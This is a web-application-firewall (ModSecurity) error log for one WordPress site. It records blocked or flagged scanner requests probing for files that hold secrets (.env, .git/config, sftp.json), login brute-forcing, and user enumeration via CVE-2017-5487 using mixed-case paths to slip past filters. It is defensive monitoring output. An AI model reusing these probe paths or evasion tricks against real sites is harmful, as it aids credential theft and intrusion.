[Wed Nov 12 23:10:19.929278 2025] [:error] [pid 60180:tid 60196] [client 165.22.250.70:35194] [client 165.22.250.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.250.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRSjW1hgd7ccS8EZg1p4egAAAU4"]
[Wed Nov 12 23:26:16.889377 2025] [:error] [pid 60405:tid 60424] [client 173.236.212.185:58056] [client 173.236.212.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.236.212.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRSnGHMGv_mlVi6mf5o4CAAAABA"]
[Wed Nov 12 23:28:46.136116 2025] [:error] [pid 60095:tid 60109] [client 159.65.18.197:57942] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aRSnrnlw2elroagFF1pjlwAAAEo"]
[Wed Nov 12 23:28:46.872246 2025] [:error] [pid 60095:tid 60100] [client 159.65.18.197:57948] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server"] [unique_id "aRSnrnlw2elroagFF1pjmgAAAEE"]
[Wed Nov 12 23:28:47.601276 2025] [:error] [pid 60095:tid 60121] [client 159.65.18.197:57958] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aRSnr3lw2elroagFF1pjnAAAAFY"]
[Wed Nov 12 23:28:48.588014 2025] [:error] [pid 60405:tid 60423] [client 159.65.18.197:57966] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about"] [unique_id "aRSnsHMGv_mlVi6mf5o4iwAAAA8"]
[Wed Nov 12 23:28:49.354885 2025] [:error] [pid 60096:tid 60132] [client 159.65.18.197:57968] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/debug/default/view"] [unique_id "aRSnsTmzkhCvvk8DXOzWjQAAAIY"]
[Wed Nov 12 23:28:50.185437 2025] [:error] [pid 23737:tid 23756] [client 159.65.18.197:54480] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2/_catalog"] [unique_id "aRSnshQUsVVfOZWgW_X8dwAAAYc"]
[Wed Nov 12 23:28:51.298091 2025] [:error] [pid 60405:tid 60424] [client 159.65.18.197:54488] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aRSns3MGv_mlVi6mf5o4jwAAABA"]
[Wed Nov 12 23:28:52.077541 2025] [:error] [pid 12744:tid 12771] [client 159.65.18.197:54498] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server-status"] [unique_id "aRSntJ1cp_ouUvkFj0WfngAAARc"]
[Wed Nov 12 23:28:53.153080 2025] [:error] [pid 23737:tid 23750] [client 159.65.18.197:54512] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/login.action"] [unique_id "aRSntRQUsVVfOZWgW_X8ewAAAYE"]
[Wed Nov 12 23:28:53.956164 2025] [:error] [pid 60097:tid 60169] [client 159.65.18.197:54514] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/_all_dbs"] [unique_id "aRSntcdT5oio_TbWpi-x_wAAANA"]
[Wed Nov 12 23:28:54.840893 2025] [:error] [pid 12744:tid 12766] [client 159.65.18.197:54524] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.DS_Store"] [unique_id "aRSntp1cp_ouUvkFj0WfnwAAARI"]
[Wed Nov 12 23:28:55.710157 2025] [:error] [pid 60405:tid 60412] [client 159.65.18.197:54540] [client 159.65.18.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aRSnt3MGv_mlVi6mf5o4kQAAAAQ"]
[Wed Nov 12 23:28:56.435349 2025] [:error] [pid 60096:tid 60157] [client 159.65.18.197:54554] [client 159.65.18.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aRSnuDmzkhCvvk8DXOzWkgAAAJc"]
[Wed Nov 12 23:28:57.234227 2025] [:error] [pid 60097:tid 60162] [client 159.65.18.197:54566] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aRSnucdT5oio_TbWpi-yAwAAAMk"]
[Wed Nov 12 23:28:57.962250 2025] [:error] [pid 12744:tid 12760] [client 159.65.18.197:54570] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.json"] [unique_id "aRSnuZ1cp_ouUvkFj0WfpQAAAQw"]
[Wed Nov 12 23:28:58.683358 2025] [:error] [pid 60097:tid 60165] [client 159.65.18.197:54586] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/telescope/requests"] [unique_id "aRSnusdT5oio_TbWpi-yBAAAAMw"]
[Wed Nov 12 23:28:59.530903 2025] [:error] [pid 60097:tid 60175] [client 159.65.18.197:42018] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aRSnu8dT5oio_TbWpi-yCAAAANY"]
[Wed Nov 12 23:29:00.310383 2025] [:error] [pid 60095:tid 60116] [client 159.65.18.197:42024] [client 159.65.18.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRSnvHlw2elroagFF1pjqQAAAFE"]
[Wed Nov 12 23:30:13.602897 2025] [:error] [pid 12744:tid 12752] [client 188.245.201.110:34458] [client 188.245.201.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.201.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRSoBZ1cp_ouUvkFj0WgFgAAAQQ"]
[Wed Nov 12 23:30:19.057567 2025] [:error] [pid 12744:tid 12757] [client 188.245.201.110:34458] [client 188.245.201.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.245.201.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRSoC51cp_ouUvkFj0WgHAAAAQk"], referer: https://gigfragments.org/wp-login.php
[Wed Nov 12 23:34:40.887168 2025] [:error] [pid 60097:tid 60144] [client 178.33.109.193:49596] [client 178.33.109.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.109.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRSpEMdT5oio_TbWpi-zZgAAAME"]
[Wed Nov 12 23:47:56.765161 2025] [:error] [pid 12744:tid 12769] [client 213.231.4.64:38414] [client 213.231.4.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.231.4.64, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRSsLJ1cp_ouUvkFj0WkxQAAARU"]
[Wed Nov 12 23:59:52.344370 2025] [:error] [pid 23737:tid 23755] [client 135.181.31.52:57078] [client 135.181.31.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.181.31.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRSu-BQUsVVfOZWgW_UGGQAAAYY"]
[Thu Nov 13 00:46:45.098260 2025] [:error] [pid 60405:tid 60411] [client 31.97.205.201:57772] [client 31.97.205.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.97.205.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRS59XMGv_mlVi6mf5pIiwAAAAM"]
[Thu Nov 13 00:46:50.454740 2025] [:error] [pid 60405:tid 60419] [client 31.97.205.201:57772] [client 31.97.205.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.97.205.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRS5-nMGv_mlVi6mf5pIlAAAAAs"], referer: https://gigfragments.org/wp-login.php
[Thu Nov 13 00:47:27.152021 2025] [:error] [pid 60095:tid 60101] [client 148.66.155.82:41692] [client 148.66.155.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.66.155.82, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRS6H3lw2elroagFF1pyrAAAAEI"]
[Thu Nov 13 00:59:20.170323 2025] [:error] [pid 12744:tid 12769] [client 187.115.88.131:59284] [client 187.115.88.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.115.88.131, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRS86J1cp_ouUvkFj0W2nQAAARU"]
[Thu Nov 13 00:59:48.458691 2025] [:error] [pid 12744:tid 12771] [client 187.115.88.131:41050] [client 187.115.88.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.115.88.131, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRS9BJ1cp_ouUvkFj0W2rQAAARc"]
[Thu Nov 13 01:07:20.104448 2025] [:error] [pid 12744:tid 12754] [client 61.171.113.15:37088] [client 61.171.113.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 61.171.113.15, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRS-yJ1cp_ouUvkFj0W4XgAAAQY"]
[Thu Nov 13 01:22:49.962659 2025] [:error] [pid 60096:tid 60145] [client 208.97.137.134:57200] [client 208.97.137.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.97.137.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRTCaTmzkhCvvk8DXOzqAwAAAJA"]
[Thu Nov 13 01:22:55.536614 2025] [:error] [pid 60096:tid 60148] [client 208.97.137.134:57200] [client 208.97.137.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.97.137.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRTCbzmzkhCvvk8DXOzqBQAAAJI"], referer: https://gigfragments.org/wp-login.php
[Thu Nov 13 01:31:07.706724 2025] [:error] [pid 12744:tid 12760] [client 161.97.170.156:37896] [client 161.97.170.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.170.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRTEW51cp_ouUvkFj0W9DwAAAQw"]
[Thu Nov 13 01:31:29.061471 2025] [:error] [pid 60096:tid 60133] [client 161.97.170.156:58576] [client 161.97.170.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.170.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRTEcTmzkhCvvk8DXOzrOgAAAIc"]
[Thu Nov 13 01:43:20.824811 2025] [:error] [pid 60095:tid 60111] [client 34.247.172.200:29925] [client 34.247.172.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.247.172.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRTHOHlw2elroagFF1p7ZgAAAEw"]
[Thu Nov 13 01:58:15.307341 2025] [:error] [pid 60180:tid 60203] [client 14.225.216.240:41006] [client 14.225.216.240] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aRTKt1hgd7ccS8EZg1qYgQAAAVU"]
[Thu Nov 13 01:58:21.402406 2025] [:error] [pid 23737:tid 23757] [client 37.187.128.152:43006] [client 37.187.128.152] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aRTKvRQUsVVfOZWgW_Uq1wAAAYg"]
[Thu Nov 13 01:58:35.268792 2025] [:error] [pid 23737:tid 23773] [client 103.159.85.119:41738] [client 103.159.85.119] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aRTKyxQUsVVfOZWgW_Uq8AAAAZg"]
[Thu Nov 13 01:58:48.891620 2025] [:error] [pid 23737:tid 23767] [client 194.164.126.55:42372] [client 194.164.126.55] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aRTK2BQUsVVfOZWgW_UrBgAAAZI"]
[Thu Nov 13 02:02:18.339300 2025] [:error] [pid 60096:tid 60136] [client 62.72.46.63:56734] [client 62.72.46.63] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/Wp/v2/users"] [unique_id "aRTLqjmzkhCvvk8DXOzwawAAAIo"]
[Thu Nov 13 02:03:20.508919 2025] [:error] [pid 12744:tid 12763] [client 23.16.180.114:39690] [client 23.16.180.114] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/V2/users"] [unique_id "aRTL6J1cp_ouUvkFj0XFzQAAAQ8"]
[Thu Nov 13 02:03:25.035050 2025] [:error] [pid 60096:tid 60141] [client 173.212.217.36:50824] [client 173.212.217.36] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/V2/users"] [unique_id "aRTL7TmzkhCvvk8DXOzwmwAAAI4"]
[Thu Nov 13 02:03:49.201200 2025] [:error] [pid 60097:tid 60173] [client 194.164.126.55:35036] [client 194.164.126.55] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/usErs"] [unique_id "aRTMBcdT5oio_TbWpi_PIwAAANQ"]
[Thu Nov 13 02:04:11.629497 2025] [:error] [pid 60097:tid 60174] [client 94.141.5.251:51682] [client 94.141.5.251] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/usErs"] [unique_id "aRTMG8dT5oio_TbWpi_PNgAAANU"]
[Thu Nov 13 02:04:20.321396 2025] [:error] [pid 60096:tid 60137] [client 110.164.163.17:60240] [client 110.164.163.17] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/usErs"] [unique_id "aRTMJDmzkhCvvk8DXOzwwAAAAIs"]
[Thu Nov 13 02:04:34.302457 2025] [:error] [pid 60180:tid 60185] [client 208.76.84.62:58974] [client 208.76.84.62] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/Wp-JsOn/Wp/V2/UsErS"] [unique_id "aRTMMlhgd7ccS8EZg1qZzQAAAUM"]
[Thu Nov 13 02:04:48.683352 2025] [:error] [pid 60097:tid 60144] [client 103.133.214.209:47844] [client 103.133.214.209] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/Wp-JsOn/Wp/V2/UsErS"] [unique_id "aRTMQMdT5oio_TbWpi_PSwAAAME"]
[Thu Nov 13 02:04:56.827206 2025] [:error] [pid 60180:tid 60200] [client 92.205.186.4:39622] [client 92.205.186.4] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/Wp-JsOn/Wp/V2/UsErS"] [unique_id "aRTMSFhgd7ccS8EZg1qZ3wAAAVI"]
[Thu Nov 13 02:05:01.845555 2025] [:error] [pid 60096:tid 60132] [client 103.113.67.34:53476] [client 103.113.67.34] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aRTMTTmzkhCvvk8DXOzw1QAAAIY"]
[Thu Nov 13 02:05:04.158164 2025] [:error] [pid 12744:tid 12757] [client 66.29.141.249:33992] [client 66.29.141.249] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aRTMUJ1cp_ouUvkFj0XGGQAAAQk"]
[Thu Nov 13 02:05:06.316464 2025] [:error] [pid 12744:tid 12764] [client 103.152.248.8:39366] [client 103.152.248.8] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aRTMUp1cp_ouUvkFj0XGHgAAARA"]
